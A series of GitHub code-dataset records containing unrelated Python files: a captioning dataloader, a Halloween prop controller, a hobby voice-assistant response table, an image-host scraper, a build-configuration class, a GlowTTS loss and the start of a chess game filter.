#self.split_ix[index]\n\n if ix in self.train_set:\n # first load caption\n true_ix = ix - 200000\n seq = self.label[true_ix:true_ix+1]\n # load corresponding image ix. For every token load one image\n # token_to_img_ix: dict: key = object token id, value = [img_ixs]\n\n att_feat_list = []\n ### for testing descreased object coverage\n num_objs_in_seq = sum([a in self.obj_ix_to_img_ix for a in seq[0]])\n count_obj_cover = 0\n ###\n for i in range(len(seq[0])):#\n token = seq[0][i]\n ### for testing descreased object coverage\n if count_obj_cover >= max(1, num_objs_in_seq//2):\n break\n ###\n if token not in self.obj_ix_to_img_ix:\n continue\n ### for testing descreased object coverage\n else:\n count_obj_cover += 1\n ###\n img_ix = random.choice(self.obj_ix_to_img_ix[token])\n att_feat = self.att_loader.get(str(self.info['images'][img_ix]['id']))\n vis_concep = self.vg_ix_loader.get(str(self.info['images'][img_ix]['id']))\n att_feat = att_feat.reshape(-1, att_feat.shape[-1])\n att_feat = np.concatenate([np.expand_dims(vis_concep, 1), att_feat], 1)\n if self.use_box:\n box_feat = self.box_loader.get(str(self.info['images'][img_ix]['id']))\n # devided by image width and height\n x1,y1,x2,y2 = np.hsplit(box_feat, 4)\n box_feat = np.hstack((x1, y1, x2, y2, (x2 - x1) * (y2 - y1)))\n if self.norm_box_feat:\n box_feat = box_feat / np.linalg.norm(box_feat, 2, 1, keepdims=True)\n att_feat = np.hstack([att_feat, box_feat])\n # choose the one that matches token\n idx = (vis_concep == token).nonzero()\n att_feat = att_feat[idx]\n\n # append to list\n att_feat_list.append(att_feat)\n att_feat = np.concatenate(att_feat_list, 0)\n # sort the features by the size of boxes\n att_feat = np.stack(sorted(att_feat, key=lambda x: x[-1], reverse=True))\n fc_feat = np.zeros((0), dtype='float32')\n return (fc_feat,\n att_feat, seq,\n ix, it_pos_now, wrapped)\n\n elif ix in self.val_set:\n if self.use_att:\n att_feat = self.att_loader.get(str(self.info['images'][ix]['id']))\n # load the vg_to_coco ix for unsupervised caption\n vis_concep = self.vg_ix_loader.get(str(self.info['images'][ix]['id']))\n # Reshape to K x C\n att_feat = att_feat.reshape(-1, att_feat.shape[-1])\n att_feat = np.concatenate([np.expand_dims(vis_concep, 1), att_feat], 1)\n if self.norm_att_feat:\n att_feat = att_feat / np.linalg.norm(att_feat, 2, 1, keepdims=True)\n if self.use_box:\n box_feat = self.box_loader.get(str(self.info['images'][ix]['id']))\n # devided by image width and height\n x1,y1,x2,y2 = np.hsplit(box_feat, 4)\n # h,w = self.info['images'][ix]['height'], self.info['images'][ix]['width']\n # box_feat = np.hstack((x1/w, y1/h, x2/w, y2/h, (x2-x1)*(y2-y1)/(w*h))) # question? x2-x1+1??\n box_feat = np.hstack((x1, y1, x2, y2, (x2 - x1) * (y2 - y1)))\n if self.norm_box_feat:\n box_feat = box_feat / np.linalg.norm(box_feat, 2, 1, keepdims=True)\n att_feat = np.hstack([att_feat, box_feat])\n # sort the features by the size of boxes\n att_feat = np.stack(sorted(att_feat, key=lambda x:x[-1], reverse=True))\n else:\n att_feat = np.zeros((0,0), dtype='float32')\n if self.use_fc:\n try:\n fc_feat = self.fc_loader.get(str(self.info['images'][ix]['id']))\n except:\n # Use average of attention when there is no fc provided (For bottomup feature)\n fc_feat = att_feat.mean(0)\n else:\n fc_feat = np.zeros((0), dtype='float32')\n if hasattr(self, 'h5_label_file'):\n # seq = self.get_captions(ix, self.seq_per_img)\n seq = self.get_random_captions(ix, self.seq_per_img) # for unsupervised captioning\n else:\n seq = None\n return (fc_feat,\n att_feat, seq,\n ix, it_pos_now, wrapped)\n\n def __len__(self):\n return len(self.info['images'])\n\nclass DataLoader:\n def __init__(self, opt):\n self.opt = opt\n self.batch_size = self.opt.batch_size\n self.dataset = Dataset(opt)\n\n # Initialize loaders and iters\n self.loaders, self.iters = {}, {}\n for split in ['train', 'val', 'test']:\n if split == 'train':\n sampler = MySampler(self.dataset.split_ix[split], shuffle=True, wrap=True)\n else:\n sampler = MySampler(self.dataset.split_ix[split], shuffle=False, wrap=False)\n self.loaders[split] = data.DataLoader(dataset=self.dataset,\n batch_size=self.batch_size,\n sampler=sampler,\n pin_memory=True,\n num_workers= 4, #4, # 4 is usually enough\n collate_fn=partial(self.dataset.collate_func, split=split),\n drop_last=False)\n self.iters[split] = iter(self.loaders[split])\n\n def get_batch(self, split):\n try:\n data = next(self.iters[split])\n # if it's the last batch: do it again to jump to except\n if data['att_feats'].shape[0] != self.batch_size:\n data = next(self.iters[split])\n except StopIteration:\n self.iters[split] = iter(self.loaders[split])\n data = next(self.iters[split])\n return data\n\n def reset_iterator(self, split):\n self.loaders[split].sampler._reset_iter()\n self.iters[split] = iter(self.loaders[split])\n\n def get_vocab_size(self):\n return self.dataset.get_vocab_size()\n\n @property\n def vocab_size(self):\n return self.get_vocab_size()\n\n def get_vocab(self):\n return self.dataset.get_vocab()\n\n def get_seq_length(self):\n return self.dataset.get_seq_length()\n\n @property\n def seq_length(self):\n return self.get_seq_length()\n\n def state_dict(self):\n def get_prefetch_num(split):\n if self.loaders[split].num_workers > 0:\n return (self.iters[split]._send_idx - self.iters[split]._rcvd_idx) * self.batch_size\n else:\n return 0\n return {split: loader.sampler.state_dict(get_prefetch_num(split)) \\\n for split, loader in self.loaders.items()}\n\n def load_state_dict(self, state_dict=None):\n if state_dict is None:\n return\n for split in self.loaders.keys():\n self.loaders[split].sampler.load_state_dict(state_dict[split])\n\n\nclass MySampler(data.sampler.Sampler):\n def __init__(self, index_list, shuffle, wrap):\n self.index_list = index_list\n self.shuffle = shuffle\n self.wrap = wrap\n # if wrap, there will be not stop iteration called\n # wrap True used during training, and wrap False used during test.\n self._reset_iter()\n\n def __iter__(self):\n return self\n\n def __next__(self):\n wrapped = False\n if self.iter_counter == len(self._index_list):\n self._reset_iter()\n if self.wrap:\n wrapped = True\n else:\n raise StopIteration()\n if len(self._index_list) == 0: # overflow when 0 samples\n return None\n elem = (self._index_list[self.iter_counter], self.iter_counter+1, wrapped)\n self.iter_counter += 1\n return elem\n\n def next(self):\n return self.__next__()\n\n def _reset_iter(self):\n if self.shuffle:\n rand_perm = npr.permutation(len(self.index_list))\n self._index_list = [self.index_list[_] for _ in rand_perm]\n else:\n self._index_list = self.index_list\n\n self.iter_counter = 0\n\n def __len__(self):\n return len(self.index_list)\n\n def load_state_dict(self, state_dict=None):\n if state_dict is None:\n return\n self._index_list = state_dict['index_list']\n self.iter_counter = state_dict['iter_counter']\n\n def state_dict(self, prefetched_num=None):\n prefetched_num = prefetched_num or 0\n return {\n 'index_list': self._index_list,\n 'iter_counter': self.iter_counter - prefetched_num\n }\n\n \n","repo_name":"zihangm/obj-centric-unsup-caption","sub_path":"captioning/data/dataloader_sentence_to_multi_img.py","file_name":"dataloader_sentence_to_multi_img.py","file_ext":"py","file_size_in_byte":22145,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"38"} +{"seq_id":"19065139104","text":"#!/usr/bin/env python3\n\n\nimport random\nimport serial\nfrom pathlib import Path\nfrom time import sleep\nfrom omxplayer.player import OMXPlayer\nfrom phue import Bridge\n\n\nB_USB = '/dev/ttyACM0'\nC_USB = '/dev/ttyACM1'\n\nvidargs = [\n '--no-osd',\n '--no-keys',\n '-b'\n]\n\nmedia_files = [\n './media/loop.mp4',\n './media/wakey.mp4',\n './media/intro.mp4',\n './media/bicker.mp4',\n './media/dadjokes.mp4',\n './media/candy.mp4',\n]\n\n\n\n\ndef mplay(strpath):\n MEDIA_PATH = Path(strpath)\n player = OMXPlayer(MEDIA_PATH, args=vidargs)\n player.play()\n player.quit()\n\n\ndef ravelites(time):\n pass\n\n# Initialize USB connection to the two nask props\ntry:\n bili = serial.Serial(B_USB, 115200, timeout=2)\nexcept Exception as e:\n print('Could not open USB connection to Bilious mask.')\n exit()\n\ntry:\n cank = serial.Serial(C_USB, 115200, timeout=2)\nexcept Exception as e:\n print('Could not open USB connection to Cankerous mask.')\n exit()\n\n# Initialize connection to the Hue bridge\nif (os.path.isfile('phue.ini')):\n with open('phue.ini', 'r') as f:\n bridgeip = f.read()\n b = Bridge(bridgeip)\n f.close()\n\n try:\n b.connect()\n except Exception as e:\n print('Couldn not connect to the Hue bridge.')\n exit()\n\n\n# Main loop\nwhile True:\n pass\n","repo_name":"byteme206/halloween2021","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"5634047273","text":"from time import ctime\nimport time\nimport difflib\n\n\ndef closeenough(string, goalstring, percentage):\n\treturn(difflib.SequenceMatcher(None, goalstring, string).ratio() >= percentage)\n\n\n\n\n\ndef response(data, Statement_num):\n\n#------------ TEST LINES --------------------------------------------------------------------------------------------\n\n\tif closeenough(\"test test\", data, .75):\n\t\treturn \"test test\"\n\t\n# #-------------- SWAGG -----------------------------------------------------------------------------------------------\n\n\tif ( difflib.SequenceMatcher(None, \"look alive mel it's playtime\", data).ratio() >= 0.65):\n \t\tStatement_num = 7\n \t\treturn(\"Yessir. What're we doing today?\")\n\n\n\tif ( difflib.SequenceMatcher(None, \"mel hold this place down\", data).ratio() >= 0.85):\n \t\treturn(\"Yessir. On standby\")\n\t\t \n\n\tif ( difflib.SequenceMatcher(None, \"mel standby\", data).ratio() >= 0.85):\n \t\treturn(\"Yessir. On standby\")\n\n \n# #-------- GOOD MORNING / EVENING ----------------------------------------------------------------------------------------\n\n\n\tif ( difflib.SequenceMatcher(None, \"good morning mel\", data).ratio() >= 0.75):\n \t\treturn(\"Good Morning Sir\")\n\n\tif ( difflib.SequenceMatcher(None, \"good evening mel\", data).ratio() >= 0.75):\n \t\treturn(\"Good Evening Sir\")\n\n\tif ( difflib.SequenceMatcher(None, \"hello mel\", data).ratio() >= 0.75):\n \t\treturn(\"Hello Sir\")\n\n\tif ( difflib.SequenceMatcher(None, \"hi mel\", data).ratio() >= 0.75):\n \t\treturn(\"Hello Sir\")\n\n\n# #--------------- WORK TIMERS-----------------------------------------------------------------------------------------------\n\n# \tif \"mel let's do some work\" in data:\n# \t\tStatement_num = 10\n# \t\treturn(\"Sounds like a plan sir. Longterm or Shortterm sir?.\")\n\n# \tif \"long-term\" in data and Statement_num == 10:\n# \t\treturn(\"Yessir.\")\n# \t\ttimer = threading.Timer(900, check_in_regaurding_work) \t\t\t\t# as of 2/12/21\n# \t\ttimer.start() # after 15 minutes, Mel will checkin to make sure you're still working \t\t# as of 2/12/21\n# \t\ttimer = threading.Timer(1800, check_in_regaurding_work)\n# \t\ttimer.start() # after 30 minutes, Mel will checkin to make sure you're still working\n# \t\ttimer = threading.Timer(2700, check_in_regaurding_work)\n# \t\ttimer.start() # after 45 minutes, Mel will checkin to make sure you're still working\n\n# \tif \"short-term\" in data and Statement_num == 10:\n# \t\treturn(\"Yessir.\")\n# \t\ttimer = threading.Timer(300, check_in_regaurding_work) \t\t\t\t# as of 2/12/21\n# \t\ttimer.start() # after 5 minutes, Mel will checkin to make sure you're still working \t\t# as of 2/12/21\n# \t\ttimer = threading.Timer(600, check_in_regaurding_work)\n# \t\ttimer.start() # after 10 minutes, Mel will checkin to make sure you're still working\n# \t\ttimer = threading.Timer(900, check_in_regaurding_work)\n# \t\ttimer.start() # after 15 minutes, Mel will checkin to make sure you're still working\n\n# #------------------------ QUEUES/INTROS ------------------------------------------------------------------------------\n\n\n\n\n# \tif \"alright mel let's get to it\" in data:\n# \t\treturn(\"Sounds like a plan sir. Can I help?\")\n# \t\tStatement_num = 8\n\n# \tif \"alright now let's get to it\" in data:\n# \t\treturn(\"Sounds like a plan sir. Can I help?\")\n# \t\tStatement_num = 8\n\n# \tif \"mel let's get to it\" in data:\n# \t\treturn(\"Sounds like a plan sir. Can I help?\")\n# \t\tStatement_num = 8\n\n# \tif \"now let's get to it\" in data:\n# \t\treturn(\"Sounds like a plan sir. Can I help?\")\n# \t\tStatement_num = 8\n\n\n\n\n\n\n\n\n\n\n\tif closeenough(\"mel how are you today\", data, .75):\n\t\tStatement_num = 5\n\t\treturn \"Always well sir. And you?\"\n\n\tif closeenough(\"mel you up\", data, .75):\n\t\treturn \"Yessir. I'm here.\"\n\n\tif (closeenough(\"mel are you with me\", data, .7) or closeenough(\"mel can you hear me\", data, .7)):\n\t\treturn \"Yessir. I'm with you\"\n\n\tif closeenough(\"mel you got me\", data, .7):\n\t\treturn \"Yessir. I'm with you\"\n\n\tif closeenough(\"give him the rundown\", data, .75):\n\t\treturn \"Yessir. I'm Mel, assistant to Pat Flanigan. pleasure to meet you.\"\n\n\tif closeenough(\"mel what can you do\", data, .75):\n\t\treturn \"For now I can talk and play some tunes, but I'm on my way up\"\n\n\n# # #------------- QUESTIONS ---------------------------------------------------------------------------------------------\n\n\tif closeenough(\"mel what time is it\", data, .75):\n\t\treturn(ctime())\n\n\tif closeenough(\"what is your name\", data, .7):\n\t\treturn(\"my name is Meliora, you can call me Mel\")\n\n# # #---------------- REAL SHIT -------------------------------------------------------------------------------------------\n\n# \tif \"mel why do I do what I do\" in data:\n# \t\treturn(\"Well sir. Primarily your nation. Your family aswell.\")\n\n# # #------------ INSULTS --------------------------------------------------------------------------------------------------\n\n# \tif \"mel suck my dick\" in data or \"suck my dick\" in data:\n# \t\treturn(\"Fuck you, suck your own dick\")\n\n# \tif \"mel f*** you\" in data:\n# \t\treturn(\"Fuck off asshole, I've got shit to do\")\n\n# \tif \"f*** you Mel\" in data:\n# \t\treturn(\"Fuck off asshole, I've got shit to do... Do you think I'm some sort of a fucking joke\")\n# \t\tStatement_num = 6\n\n# # #------------- CONTINUATIONS ------------------------------------------------------------------------------------\n\n\n# \tif \"yes\" in data and Statement_num == 6:\n# \t\treturn(\"Alright. You're a clown. Fuck you\")\n# \tif \"no\" in data and Statement_num == 6:\n# \t\treturn(\"Good.\")\n\n# \tif (\"well\" in data or \"good\" in data or \"well thank you\" in data or \"good thank you\" in data) and Statement_num == 5:\n# \t\treturn(\"good to hear sir.\")\n\n# \tif \"oh not much just getting some stuff done\" in data and Statement_num == 7:\n# \t\treturn(\"Sounds good sir. I'll be here if you need me\")\n\n# \tif \"not much just some work\" in data and Statement_num == 7:\n# \t\treturn(\"Sounds good sir. I'll be here if you need me\")\n\n# \tif \"just some work today\" in data and Statement_num == 7:\n# \t\treturn(\"Sounds good sir. I'll be here if you need me\")\n\n# \tif \"yes\" in data and Statement_num == 8:\n# \t\treturn(\"Just let me know how I can help\")\n\n# \tif \"no\" in data and Statement_num == 8:\n# \t\treturn(\"Alright. I'll be here if you need me.\")\n\n# \tif \"thank you\" in data and Statement_num == 9:\n# \t\treturn(\"always\")\n\n\telse:\n\t\treturn(\"nothing to see here\")\n\n\n\n\n\n\n\n\n\n\n\n## Check this out sometime...\n\n# if \"where is\" in data:\n# data = data.split(\" \")\n# location = data[2]\n# speak(\"Hold on Frank, I will show you where \" + location + \" is.\")\n# os.system(\"chromium-browser https://www.google.nl/maps/place/\" + location + \"/&\")\n\n\n","repo_name":"Electric-Spitfire/Meliora","sub_path":"vocabulary.py","file_name":"vocabulary.py","file_ext":"py","file_size_in_byte":6542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"43793042184","text":"from __future__ import annotations\n\nimport asyncio\nimport re\nfrom typing import TYPE_CHECKING\n\nfrom aiolimiter import AsyncLimiter\nfrom yarl import URL\n\nfrom ..base_functions.base_functions import (\n check_direct,\n create_media_item,\n log,\n logger,\n make_title_safe,\n)\nfrom ..base_functions.data_classes import DomainItem\nfrom ..base_functions.error_classes import NoExtensionFailure\n\nif TYPE_CHECKING:\n from ..base_functions.base_functions import ErrorFileWriter\n from ..base_functions.sql_helper import SQLHelper\n from ..client.client import ScrapeSession\n\n\nclass ShareXCrawler:\n def __init__(self, *, include_id=False, quiet: bool, SQL_Helper: SQLHelper, error_writer: ErrorFileWriter):\n self.include_id = include_id\n self.quiet = quiet\n self.SQL_Helper = SQL_Helper\n self.limiter = AsyncLimiter(8, 1)\n self.semaphore = asyncio.Semaphore(4)\n\n self.error_writer = error_writer\n\n async def fetch(self, session: ScrapeSession, url: URL) -> DomainItem:\n \"\"\"Director for ShareX scraper\"\"\"\n assert url.host is not None\n domain_obj = DomainItem(url.host.lower(), {})\n\n if await check_direct(url):\n log(f\"Starting: {url}\", quiet=self.quiet, style=\"green\")\n url = url.with_name(url.name.replace('.md.', '.').replace('.th.', '.'))\n url = await self.jpg_church_from_fish(url)\n media_item = await create_media_item(url, url, self.SQL_Helper, \"sharex\")\n await domain_obj.add_media(\"Loose ShareX Files\", media_item)\n else:\n async with self.semaphore:\n log(f\"Starting: {url}\", quiet=self.quiet, style=\"green\")\n if \"album\" in url.parts or \"a\" in url.parts:\n await self.parse(session=session, url=url, domain_obj=domain_obj)\n elif \"albums\" in url.parts:\n await self.get_albums(session, url, domain_obj)\n elif 'image' in url.parts or 'img' in url.parts or 'images' in url.parts:\n await self.get_singular(session, url, domain_obj)\n else:\n await self.parse_profile(session, url, domain_obj)\n\n await self.SQL_Helper.insert_domain(\"sharex\", url, domain_obj)\n log(f\"Finished: {url}\", quiet=self.quiet, style=\"green\")\n return domain_obj\n\n async def jpg_church_from_fish(self, url: URL) -> URL:\n pattern = r\"simp([1-5])\\.jpg\\.fish/\"\n return_url = URL(re.sub(pattern, r'simp\\1.jpg.church/', str(url)))\n # The below is a makeshift fix until jpg.church has fully transitioned over to their new caching structure\n # At the time of doing this, 2,4,6 are on the new structure, 1,3,5 are on the old\n # pattern2 = r\"simp([1,3,5])\\.jpg\\.church/\"\n # return_url = URL(re.sub(pattern2, r'simp\\1.jpg.fish/', str(return_url)))\n return return_url\n\n async def get_albums(self, session: ScrapeSession, url: URL, domain_obj: DomainItem) -> None:\n \"\"\"Handles scraping for Albums\"\"\"\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n albums = soup.select(\"a[class='image-container --media']\")\n for album in albums:\n album_url = URL(album.get('href'))\n await self.parse(session=session, url=album_url, domain_obj=domain_obj)\n\n next_page = soup.select_one('li.pagination-next a')\n if not next_page:\n next_page = soup.select_one('a[data-pagination=next]')\n if next_page is not None:\n next_page = next_page.get('href')\n if next_page is not None:\n next_page = URL(next_page)\n await self.get_albums(session, next_page, domain_obj)\n\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n\n async def get_singular(self, session: ScrapeSession, url: URL, domain_obj: DomainItem) -> None:\n \"\"\"Handles scraping for singular files\"\"\"\n await asyncio.sleep(1)\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n link = URL(soup.select_one(\"input[id=embed-code-2]\").get('value'))\n link = link.with_name(link.name.replace('.md.', '.').replace('.th.', '.'))\n link = await self.jpg_church_from_fish(link)\n\n media_item = await create_media_item(link, url, self.SQL_Helper, \"sharex\")\n await domain_obj.add_media(\"Loose ShareX Files\", media_item)\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n\n async def get_sub_album_links(self, session: ScrapeSession, url: URL, og_title: str,\n domain_obj: DomainItem) -> None:\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n albums = soup.select(\"div[class=pad-content-listing] div\")\n for album in albums:\n album_url = album.get('data-url-short')\n if album_url is not None:\n album_url = URL(album_url)\n await self.parse(session=session, url=album_url, og_title=og_title, domain_obj=domain_obj)\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n\n async def parse_profile(self, session: ScrapeSession, url: URL, domain_obj: DomainItem) -> None:\n \"\"\"Handles scraping for profiles\"\"\"\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n title = soup.select_one(\"div[class=header] h1 strong\").get_text()\n if title is None:\n title = url.name\n elif self.include_id:\n titlep2 = url.name\n title = title + \" - \" + titlep2\n title = await make_title_safe(title.replace(r\"\\n\", \"\").strip())\n await self.get_list_links(session, url, title, domain_obj)\n\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n\n async def get_list_links(self, session: ScrapeSession, url: URL, title: str, domain_obj: DomainItem) -> None:\n \"\"\"Gets final links and adds to domain_obj\"\"\"\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n assert url.host is not None\n if 'jpg.fish' in url.host or 'jpg.church' in url.host or 'jpg.pet' in url.host or 'jpeg.pet' in url.host or \"jpg1.su\" in url.host or \"jpg2.su\" in url.host or \"jpg3.su\" in url.host:\n links = soup.select(\"a[href*=img] img\")\n else:\n links = soup.select(\"a[href*=image] img\")\n for link in links:\n link = URL(link.get('src'))\n link = link.with_name(link.name.replace('.md.', '.').replace('.th.', '.'))\n link = await self.jpg_church_from_fish(link)\n\n try:\n media_item = await create_media_item(link, url, self.SQL_Helper, \"sharex\")\n except NoExtensionFailure:\n logger.debug(\"Couldn't get extension for %s\", link)\n continue\n await domain_obj.add_media(title, media_item)\n\n next_page = soup.select_one('li.pagination-next a')\n if not next_page:\n next_page = soup.select_one('a[data-pagination=next]')\n if next_page is not None:\n next_page = next_page.get('href')\n if next_page is not None:\n next_page = URL(next_page)\n await self.get_list_links(session, next_page, title, domain_obj)\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n\n async def parse(self, *, session: ScrapeSession, url: URL, og_title=None, domain_obj: DomainItem) -> None:\n try:\n async with self.limiter:\n soup = await session.get_BS4(url)\n\n title = soup.select_one(\"a[data-text=album-name]\").get_text()\n if title is None:\n title = url.name\n elif self.include_id:\n titlep2 = url.name\n title = title + \" - \" + titlep2\n title = await make_title_safe(title.replace(r\"\\n\", \"\").strip())\n\n if og_title is not None:\n title = og_title + \"/\" + title\n\n try:\n sub_albums = URL(soup.select_one(\"a[id=tab-sub-link]\").get(\"href\"))\n await self.get_sub_album_links(session, sub_albums, title, domain_obj)\n finally:\n list_recent = URL(soup.select_one(\"a[id=list-most-recent-link]\").get(\"href\"))\n await self.get_list_links(session, list_recent, title, domain_obj)\n\n except Exception as e:\n logger.debug(\"Error encountered while handling %s\", url, exc_info=True)\n await self.error_writer.write_errored_scrape(url, e, self.quiet)\n","repo_name":"Jules-WinnfieldX/CyberDropDownloader","sub_path":"cyberdrop_dl/crawlers/ShareX_Spider.py","file_name":"ShareX_Spider.py","file_ext":"py","file_size_in_byte":9524,"program_lang":"python","lang":"en","doc_type":"code","stars":1216,"dataset":"github-code","pt":"38"} +{"seq_id":"71781638832","text":"from ConfigParser import SafeConfigParser\nimport logging\nimport os\nimport platform\nimport re\nfrom string import Template\n\nlog = logging.getLogger('bitten.config')\n\n__docformat__ = 'restructuredtext en'\n\nclass ConfigFileNotFound(Exception):\n pass\n\nclass Configuration(object):\n \"\"\"Encapsulates the configuration of a build machine.\n \n Configuration values can be provided through a configuration file (in INI\n format) or through command-line parameters (properties). In addition to\n explicitly defined properties, this class automatically collects platform\n information and stores them as properties. These defaults can be\n overridden (useful for cross-compilation).\n \"\"\"\n\n def __init__(self, filename=None, properties=None):\n \"\"\"Create the configuration object.\n \n :param filename: the path to the configuration file, if any\n :param properties: a dictionary of the configuration properties\n provided on the command-line\n \"\"\"\n self.properties = {}\n self.packages = {}\n parser = SafeConfigParser()\n if filename:\n if not (os.path.isfile(filename) or os.path.islink(filename)):\n raise ConfigFileNotFound(\n \"Configuration file %r not found.\" % filename)\n parser.read(filename)\n self._merge_sysinfo(parser, properties)\n self._merge_packages(parser, properties)\n\n def _merge_sysinfo(self, parser, properties):\n \"\"\"Merge the platform information properties into the configuration.\"\"\"\n system, _, release, version, machine, processor = platform.uname()\n system, release, version = platform.system_alias(system, release,\n version)\n self.properties['machine'] = machine\n self.properties['processor'] = processor\n self.properties['os'] = system\n self.properties['family'] = os.name\n self.properties['version'] = release\n\n mapping = {'machine': ('machine', 'name'),\n 'processor': ('machine', 'processor'),\n 'os': ('os', 'name'),\n 'family': ('os', 'family'),\n 'version': ('os', 'version')}\n for key, (section, option) in mapping.items():\n if parser.has_option(section, option):\n value = parser.get(section, option)\n if value is not None:\n self.properties[key] = value\n\n if properties:\n for key, value in properties.items():\n if key in mapping:\n self.properties[key] = value\n\n def _merge_packages(self, parser, properties):\n \"\"\"Merge package information into the configuration.\"\"\"\n for section in parser.sections():\n if section in ('os', 'machine', 'maintainer'):\n continue\n package = {}\n for option in parser.options(section):\n if option == 'name':\n log.warning(\"Reserved configuration option 'name' used \"\n \"for package/section '%s'. Skipping.\" % section)\n continue\n package[option] = parser.get(section, option)\n self.packages[section] = package\n\n if properties:\n for key, value in properties.items():\n if '.' in key:\n package, propname = key.split('.', 1)\n if propname == 'name':\n log.warning(\"Reserved configuration option 'name' \"\n \"used for property '%s'. Skipping.\" % key)\n continue\n if package not in self.packages:\n self.packages[package] = {}\n self.packages[package][propname] = value\n\n def __contains__(self, key):\n \"\"\"Return whether the configuration contains a value for the specified\n key.\n \n :param key: name of the configuration option using dotted notation\n (for example, \"python.path\")\n \"\"\"\n if '.' in key:\n package, propname = key.split('.', 1)\n return propname in self.packages.get(package, {})\n return key in self.properties\n\n def __getitem__(self, key):\n \"\"\"Return the value for the specified configuration key.\n \n :param key: name of the configuration option using dotted notation\n (for example, \"python.path\")\n \"\"\"\n if '.' in key:\n package, propname = key.split('.', 1)\n return self.packages.get(package, {}).get(propname)\n return self.properties.get(key)\n\n def __str__(self):\n return str({'properties': self.properties, 'packages': self.packages})\n\n def get_dirpath(self, key):\n \"\"\"Return the value of the specified configuration key, but verify that\n the value refers to the path of an existing directory.\n \n If the value does not exist, or is not a directory path, return `None`.\n\n :param key: name of the configuration option using dotted notation\n (for example, \"ant.home\")\n \"\"\"\n dirpath = self[key]\n if dirpath:\n if os.path.isdir(dirpath):\n return dirpath\n log.warning('Invalid %s: %s is not a directory', key, dirpath)\n return None\n\n def get_filepath(self, key):\n \"\"\"Return the value of the specified configuration key, but verify that\n the value refers to the path of an existing file.\n \n If the value does not exist, or is not a file path, return `None`.\n\n :param key: name of the configuration option using dotted notation\n (for example, \"python.path\")\n \"\"\"\n filepath = self[key]\n if filepath:\n if os.path.isfile(filepath):\n return filepath\n log.warning('Invalid %s: %s is not a file', key, filepath)\n return None\n\n _VAR_RE = re.compile(r'\\$\\{(?P\\w[\\w.]*?\\w)(?:\\:(?P.+))?\\}')\n\n def interpolate(self, text, **vars):\n \"\"\"Interpolate configuration and environment properties into a string.\n \n Configuration properties can be referenced in the text using the notation\n ``${property.name}``. A default value can be provided by appending it to\n the property name separated by a colon, for example\n ``${property.name:defaultvalue}``. This value will be used when there's\n no such property in the configuration. Otherwise, if no default is\n provided, the reference is not replaced at all.\n \n Environment properties substitute from environment variables, supporting\n the common notations of ``$VAR`` and ``${VAR}``.\n\n :param text: the string containing variable references\n :param vars: extra variables to use for the interpolation\n \"\"\"\n def _replace(m):\n refname = m.group('ref')\n if refname in self:\n return self[refname]\n elif refname in vars:\n return vars[refname]\n elif m.group('def'):\n return m.group('def')\n else:\n return m.group(0)\n return Template(self._VAR_RE.sub(_replace, text)\n ).safe_substitute(os.environ)\n","repo_name":"dokipen/bitten","sub_path":"bitten/build/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":7445,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"13413118240","text":"import pickle as pkl\nimport json\n\nfrom nemo.utils import logging\n\n\nimport math\n\nimport torch\n\nfrom nemo.core.classes import Loss, typecheck\nfrom nemo.core.neural_types.elements import *\nfrom nemo.core.neural_types.neural_type import NeuralType\n\n\nclass GlowTTSLoss(Loss):\n \"\"\"\n Loss for the GlowTTS model\n \"\"\"\n\n @property\n def input_types(self):\n return {\n \"z\": NeuralType(('B', 'D', 'T'), NormalDistributionSamplesType()),\n \"y_m\": NeuralType(('B', 'D', 'T'), NormalDistributionMeanType()),\n \"y_logs\": NeuralType(('B', 'D', 'T'), NormalDistributionLogVarianceType()),\n \"logdet\": NeuralType(('B',), LogDeterminantType()),\n \"logw\": NeuralType(('B', 'T'), TokenLogDurationType()),\n \"logw_\": NeuralType(('B', 'T'), TokenLogDurationType()),\n \"x_lengths\": NeuralType(('B',), LengthsType()),\n \"y_lengths\": NeuralType(('B',), LengthsType()),\n \"stoch_dur_loss\": NeuralType(optional=True),\n }\n\n @property\n def output_types(self):\n return {\n \"l_mle\": NeuralType(elements_type=LossType()),\n \"l_length\": NeuralType(elements_type=LossType()),\n \"logdet\": NeuralType(elements_type=VoidType()),\n }\n\n @typecheck()\n def forward(self, z, y_m, y_logs, logdet, logw, logw_, x_lengths, y_lengths, stoch_dur_loss,):\n\n logdet = torch.sum(logdet)\n l_mle = 0.5 * math.log(2 * math.pi) + (\n torch.sum(y_logs) + 0.5 * torch.sum(torch.exp(-2 * y_logs) * (z - y_m) ** 2) - logdet\n ) / (torch.sum(y_lengths) * z.shape[1])\n\n if stoch_dur_loss is None:\n l_length = torch.sum((logw - logw_) ** 2) / torch.sum(x_lengths)\n else:\n l_length = stoch_dur_loss\n return l_mle, l_length, logdet","repo_name":"ogunlao/glowtts_stdp","sub_path":"utils/glow_tts_loss.py","file_name":"glow_tts_loss.py","file_ext":"py","file_size_in_byte":1811,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"38"} +{"seq_id":"11191377368","text":"import chess\nimport chess.variant\nimport chess.pgn\nimport numpy as np \nimport os\nimport sys\n\n#pgn=open(\"last_month.pgn\")\n#os.chdir(\"./lichess_db\")\n\ndef filter_games(elo):\n bullet_format= 